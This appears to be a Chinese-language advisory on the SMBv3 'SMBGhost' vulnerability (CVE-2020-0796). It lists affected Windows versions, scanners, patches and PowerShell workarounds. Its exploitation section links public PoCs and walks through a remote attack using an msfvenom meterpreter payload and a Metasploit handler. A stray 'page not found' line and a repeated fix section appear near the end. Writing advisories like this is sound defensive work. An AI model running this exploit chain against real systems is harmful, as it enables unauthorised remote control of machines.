通告背景
2020年3月11日,某国外安全公司发布了一个近期微软安全补丁包所涉及漏洞的综述,其中谈到了一个威胁等级被标记为Critical的SMB服务远程代码执行漏洞(CVE-2020-0796),攻击者可以利用此漏洞远程无需用户验证通过发送构造特殊的恶意数据导致在目标系统上执行恶意代码,从而获取机器的完全控制。此漏洞主要影响支持SMBv3.0的设备,理论上存在蠕虫化的可能性。
漏洞描述
漏洞存在于Windows的SMBv3.0(文件共享与打印服务)中,目前技术细节暂不公布,对于漏洞的利用无需用户验证,通过构造恶意请求即可触发导致任意代码执行,系统受到非授权控制。
影响面评估
此漏洞主要影响SMBv3.0协议,目前支持该协议的设备包括Windows 8、Windows 8.1、Windows 10、Windows Server 2012 和 Windows Server 2016,但是从微软的通告来看受影响目标主要是Win10系统,考虑到相关设备的数量级,潜在威胁较大。
受影响的Windows操作系统版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
漏洞检测篇
git 脚本检测:
GitHub - ly4k/SMBGhost: Scanner for CVE-2020-0796 - SMBv3 RCE
检测返回的数据包中SMB压缩版本,这种检测方式打过补丁依然会误报。
python scanner.py <IP>
奇安信检测工具:
http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
适用于局域网批量检测,快速查找未打补丁的机器。
腾讯电脑管家SMB漏洞修复工具:
http://dlied6.qq.com/invc/QQPatch/QuickFix_SMB0796.exe
适用于个人用户检测,一键快速检测和修复。
漏洞利用篇
蓝屏PoC:
GitHub - eerykitty/CVE-2020-0796-PoC: PoC for triggering buffer overflow via CVE-2020-0796
使用两台虚拟机作为漏洞演示,一台win10 1903版本,一台是Kali Linux。
python3 CVE-2020-0796.py <IP>
本地提权PoC:
GitHub - danigargu/CVE-2020-0796: CVE-2020-0796 - Windows SMBv3 LPE exploit #SMBGhost
本地普通用户Bypass执行提权exp后弹出cmd窗口,成功获取system权限。
远程利用PoC:
GitHub - chompie1337/SMBGhost_RCE_PoC
漏洞演示过程:
1、使用msfvenom生成payload
msfvenom -p windows/x64/meterpreter/bind_tcp lport=1234 -f py -o evil.py
2、将evil.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。
root@kali:~# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
3、运行exploit.py
python3 exploit.py -ip 192.168.172.128
4、启动msf监听本地端口(PS:监听端口如果一直收不到shell,可重新运行一次。)
msf5 > use exploit/multi/handler
修复方法
1. 补丁
微软已经发布了此漏洞的安全补丁,访问如下链接:
Security Update Guide - Microsoft Security Response Center
方法一:给对应的系统打微软出的最新补丁
系统类型 | 介绍 | 下载链接 |
Windows 10 Version 1903 for 32-bit Systems | ||
Windows 10 Version 1903 for ARM64-based Systems | ||
Windows 10 Version 1903 for x64-based Systems | ||
Windows 10 Version 1909 for 32-bit Systems | ||
Windows 10 Version 1909 for ARM64-based Systems | ||
Windows 10 Version 1909 for x64-based Systems | ||
Windows Server, version 1903 (Server Core installation) | ||
Windows Server, version 1909 (Server Core installation) |
2. 临时解决方案
如果暂时无法安装补丁,微软当前建议按如下临时解决方案处理:
方法二:禁用SMBv3压缩
禁用SMB 3.0的压缩功能,是否使用需要结合自己业务进行判断。
使用以下PowerShell命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 1 -Force
用户可通过以下PowerShell命令撤销禁用压缩功能
Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” DisableCompression -Type DWORD -Value 0 -Force
注:利用以上命令进行更改后,无需重启即可生效;该方法仅可用来防护针对SMB服务器(SMB SERVER)的攻击,无法对SMB客户端(SMB Client)进行防护。
方法三:设置防火墙策略关闭相关端口
SMB的TCP 445端口
NetBIOS名称解析的UDP 137端口
NetBIOS数据图服务的UDP 138端口
NetBIOS会话服务的TCP 139端口
方法四:通过IP安全策略屏蔽危险端口,bat执行添加防火墙策略,关闭危险服务
您浏览的页面不存在,请检查页面地址是否正确!
修复
微软目前给出变通方法:禁用SMBv3的压缩功能或在防火墙禁止445端口
PowerShell禁用SMBv3压缩功能:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
PowerShell重新启用SMBv3压缩功能:
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force